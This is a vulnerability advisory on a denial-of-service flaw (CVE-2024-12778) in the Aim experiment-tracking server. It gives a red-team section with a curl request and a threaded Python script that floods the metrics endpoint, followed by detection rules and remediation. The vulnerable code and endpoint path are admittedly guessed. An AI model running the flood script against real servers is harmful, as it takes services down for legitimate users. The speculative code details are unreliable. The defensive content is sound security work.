CVE-2024-12778

Executive Summary

CVE-2024-12778 is a denial of service (DoS) vulnerability in aimhubio/aim version 3.25.0. The flaw allows an unauthenticated attacker to exhaust server resources by requesting a large number of tracked metrics simultaneously via the Aim web API. The root cause is the absence of a limit on the number of metrics per API call, combined with the server's single-threaded architecture, leading to complete unresponsiveness. No patch is currently available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for exposed instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The threat level is High due to the ease of exploitation and severe availability impact. No authentication is required, and the attack can be launched remotely.

Deep Dive & Mechanics

The vulnerability resides in the Aim web API endpoint responsible for retrieving tracked metrics. In version 3.25.0, the API does not enforce any upper bound on the number of metrics that can be requested in a single call. When an attacker sends a request with an extremely large metric count (e.g., via a parameter like ?limit=9999999), the server attempts to process all requested metrics in a single thread.

Aim's web server is single-threaded, meaning it handles one request at a time. While processing the oversized request, the server consumes excessive CPU and memory resources, blocking subsequent legitimate requests. This results in a complete denial of service until the request is completed or the server is restarted.

The attack does not require any special privileges or user interaction. An attacker only needs network access to the Aim web API endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (aim 3.25.0): The vulnerable endpoint likely lacks input validation on the metric count parameter. Example pseudo-code:

@app.route('/api/metrics')
def get_metrics():
    limit = request.args.get('limit', default=100, type=int)
    metrics = db.query("SELECT * FROM metrics LIMIT ?", limit)
    return jsonify(metrics)

No upper bound check on limit.

Patched Code (hypothetical): A patched version would enforce a maximum limit and possibly implement pagination or asynchronous processing:

@app.route('/api/metrics')
def get_metrics():
    limit = request.args.get('limit', default=100, type=int)
    max_limit = 1000
    if limit > max_limit:
        limit = max_limit
    metrics = db.query("SELECT * FROM metrics LIMIT ?", limit)
    return jsonify(metrics)

Additionally, moving to a multi-threaded or async server would mitigate single-thread blocking.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running aimhubio/aim 3.25.0 with web API exposed.
• Network access to the API endpoint (e.g., http://target:5000).

Exploitation Steps:

1. Identify the metrics endpoint (e.g., /api/metrics).
2. Send a request with an extremely high limit parameter:

   curl "http://target:5000/api/metrics?limit=999999999"
   

3. The server will become unresponsive, denying service to legitimate users.

Automated DoS Script (Python):

import requests
import threading

target = "http://target:5000/api/metrics"
params = {"limit": 999999999}

def attack():
    while True:
        try:
            requests.get(target, params=params, timeout=10)
        except:
            pass

for _ in range(10):
    threading.Thread(target=attack).start()

Blue Team

Detection:

• Monitor for unusually high limit parameter values in API requests.
• Alert on sustained high CPU/memory usage on the Aim server.
• Use rate limiting and anomaly detection on API endpoints.

Mitigation:

• Apply input validation to cap the limit parameter (e.g., max 1000).
• Implement request queuing or asynchronous processing.
• Use a reverse proxy (e.g., Nginx) with rate limiting.
• Restrict network access to the API to trusted IPs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/metrics with limit parameter > 10000.
  • High volume of requests from a single IP to the metrics endpoint.
• System:
  • CPU usage at 100% on the Aim server.
  • Memory exhaustion.
  • Web server logs showing repeated large limit values.
• Logs:
  • Aim access logs: GET /api/metrics?limit=999999999 entries.

Detection Engineering

YARA Rule

rule CVE_2024_12778_DoS_Request {
    meta:
        description = "Detects HTTP requests with excessive limit parameter targeting Aim API"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12778"
    strings:
        $limit_param = /limit=[0-9]{6,}/ nocase
    condition:
        $limit_param
}

Sigma Rule

title: CVE-2024-12778 Aim DoS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2024-12778 by sending requests with excessive limit parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: aim
detection:
    selection:
        cs-uri-query|contains: "limit="
        cs-uri-query|re: "limit=[0-9]{6,}"
    condition: selection
falsepositives:
    - Legitimate large metric queries (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-12778 Aim DoS Attempt";
    flow:to_server;
    content:"/api/metrics"; http_uri;
    pcre:"/limit=[0-9]{6,}/i";
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement a maximum limit on the metrics API endpoint (e.g., 1000).
2. Rate Limiting: Use a reverse proxy (Nginx, HAProxy) to limit requests per IP.
3. Server Architecture: Move to a multi-threaded or async web server (e.g., Gunicorn with workers, or ASGI).
4. Network Segmentation: Restrict API access to trusted networks or use VPN.

Long-Term Fix:

• Apply the official patch once released by aimhubio.
• Monitor for updates at: https://github.com/aimhubio/aim

Workaround:

• Disable the metrics API if not needed, or add authentication.

Valters IT